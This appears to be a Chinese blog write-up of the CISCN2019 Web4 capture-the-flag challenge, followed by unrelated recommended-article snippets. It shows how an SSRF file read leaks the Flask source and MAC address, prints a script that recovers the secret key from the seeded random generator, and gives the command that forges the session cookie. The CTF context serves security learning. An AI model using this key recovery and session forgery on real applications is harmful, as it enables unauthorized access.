刷题[CISCN2019 华东南赛区]Web4
解题思路
打开有一个链接,那先点击一下
发现url处,很像命令执行,试一试。发现无论是什么都是no response,又是各种尝试
发现直接传?url=/etc/passwwd可以爆出回显,难道不是命令执行,是代码执行
先尝试一下目录穿越,发现flag被禁了
又是一波各种尝试,最后发现app/appp.py处可以获得源码。
这里记一点:url/read?id=xxxx这种在url和参数中间又会有一段字符串的,可以考虑是写了路由,不是php后端,可能是python后端
这点非常重要,帮助我们判断后端语言进行下一步,源码的读取等多种操作
其实这里猜想了可能是flask,因为抓包看到了session,格式很像flask的格式
代码审计
# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
flag路由意思是只要伪造了session登陆即可获得flag内容,那么我们伪造session,首先要获取密钥,在代码中也有,我们先看看uuid.getnode()有什么用
意思就是获取mac地址
linux下mac地址的位置:/sys/class/net/eth0/address
读取获得mac地址
然后他采取的是伪随机数的方式,我们按他的同样使用,编写exp
exp
import random
mac="02:42:ae:00:4b:75 "
nmac=mac.replace(":", "")
random.seed(int(nmac,16))
key = str(random.random() * 233)
print(key)
这里又是几个坑点,一定要用python2环境执行,因为靶机使用的是python2环境,其会对后面的小数自动约分,所以需要使用python2执行的数字
然后我使用过几次flask-session-cookie-manager-master发现,解密与加密需要使用固定的格式不然会报错,以此为例:
解密出来的字符串不能直接更改值,需要改为键值的格式
"{'username':'fuck'}"
payload:python flask_session_cookie_manager3.py encode -s 63.5983416128 -t "{'username':'fuck'}"
使用此session在flag路由下访问即可获得flag
总结思路
- 发现url格式采用了路由的访问形式确认是python后端
- 查看session很像flask,基本确定是flask框架
- 通过工具解密session伪造session登陆
知识点
- flask
- 伪造session
刷题[CISCN2019 华东南赛区]Web4的更多相关文章
- BUU-CTF[CISCN2019 华东南赛区]Web11
BUU-CTF[CISCN2019 华东南赛区]Web11 页面最下端有提示Build with Smarty ! 确定页面使用的是Smarty模板引擎.输入{$smarty.version}就可以看 ...
- BUUCTF-[CISCN2019 华东南赛区]Web4
BUUCTF-[CISCN2019 华东南赛区]Web4 看题 点击Read somethings,会跳转到 http://3fd8b1f9-614f-47ff-8e79-0f678e7bb4eb.n ...
- [CISCN2019 华东南赛区]Web11
[CISCN2019 华东南赛区]Web11 写在前面 参考文章:Smarty SSTI 1.{php}{/php} Smarty已经废弃{php}标签,强烈建议不要使用.在Smarty 3.1,{p ...
- [BJDCTF2020]The mystery of ip|[CISCN2019 华东南赛区]Web11|SSTI注入
记录一下BUUCTF中两个类似的SSTI注入关卡 [BJDCTF2020]The mystery of ip-1: 1.打开之后显示如下: 2.在hint.php中进行了相关提示,如下: 3.既然获取 ...
- 刷题[CISCN2019 总决赛 Day2 Web1]Easyweb
解题思路 打开网页是这样一个登陆框,随机试了一下常见弱密钥,二次注入等.均是返回不同的猫咪图案 不同的id对应不同的猫咪图案.经测试,返回的id应该是无序,随机的.感觉这里有可能存在注入点,但是测试好 ...
- [CISCN2019 华东南赛区]Double Secret
0x01 进入页面如下 提示我们寻找secret,再加上题目的提示,猜测这里有secret页面,我们尝试访问,结果如下 根据它这个话的意思,是让我们传参,然后它会给你加密,我们试一下 发现输入的1变成 ...
- 刷题[CISCN2019 华北赛区 Day2 Web1]Hack World
解题思路 打开发现是很简单的页面,告诉了表名和列名,只需知道字段即可 尝试一下,输入1,2都有内容,后面无内容.输入1'让他报错,发现返回bool(false) 大概思路就是布尔型注入了,通过不断返回 ...
- 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1
目录 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 解题过程 刷题记录:[CISCN2019 总决赛 Day1 Web4]Laravel1 题目复现链接:https:/ ...
- 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System
目录 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System 知识点 1.padding-oracle attack 2.cbc字节翻转攻击 3.FFMpeg文件读取漏 ...
随机推荐
- Linux查看系统硬件信息命令汇总
对工作中,经常用的查看系统硬件命令的一个简单总结 1.查看磁盘类型(是否SSD盘)cat /sys/block/sda/queue/rotational注意:命令中的sba是你的磁盘名称,可以通过df ...
- 常见面试题之操作系统中的LRU缓存机制实现
LRU缓存机制,全称Least Recently Used,字面意思就是最近最少使用,是一种缓存淘汰策略.换句话说,LRU机制就是认为最近使用的数据是有用的,很久没用过的数据是无用的,当内存满了就优先 ...
- 牛客网PAT练兵场-福尔摩斯的约会
题目地址:https://www.nowcoder.com/pat/6/problem/4040 题意:模拟题,循环找相同的字母,但是注意题目的坑 /** * *作者:Ycute *时间:2019-1 ...
- Linux磁盘分区、挂载、查看文件大小
快速查看系统文件大小命令 du -ah --max-depth=1 后面可以添加文件目录 ,如果不添加默认当前目录. 下面进入正题~~ 磁盘分区.挂载 引言: ①.分区的方式 a)mbr分区: 最多支 ...
- Spring Cloud Alibaba是什么
Spring Cloud Alibaba 致力于提供微服务开发的一站式解决方案.此项目包含开发分布式应用微服务的必需组件,方便开发者通过 Spring Cloud 编程模型轻松使用这些组件来开发分布式 ...
- PJSIP 机器人
摘要: 最近再研究PJSIP,有一个需求,再适当的时候,需要给远程客户端放音,比如:播放一段广告.或者一段音乐.需要采用API来实现. 正文: 最近想用PJSIP做一个机器人,想法比较简单就是获取客户 ...
- 【Android】listview 嵌套gridview报错,代码:”during second layout pass: posting in next frame
作者:程序员小冰,CSDN博客:http://blog.csdn.net/qq_21376985, QQ986945193 公众号:程序员小冰 说明:本人曾经在listview嵌套gridview出现 ...
- Linq 下的扩展方法太少了,您期待的 MoreLinq 来啦
一:背景 1. 讲故事 前几天看同事在用 linq 给内存中的两个 model 做左连接,用过的朋友都知道,你一定少不了一个叫做 DefaultIfEmpty 函数,这玩意吧,本来很流畅的 from. ...
- Azure Blob (三)参数设置说明
一,引言 上一篇将 Azure Blob 存储的时候,有使用到一个 .NET Core Web 项目,通过代码的方式进行操作 Azure Blob 的数据,接着上一篇的内容,今天继续看一下代码,具体 ...
- C# 转化成 json ,特殊字符的处理
//1.定义string jsonText0= "{\"beijing\":{\"zkkke\":\"2222\",\" ...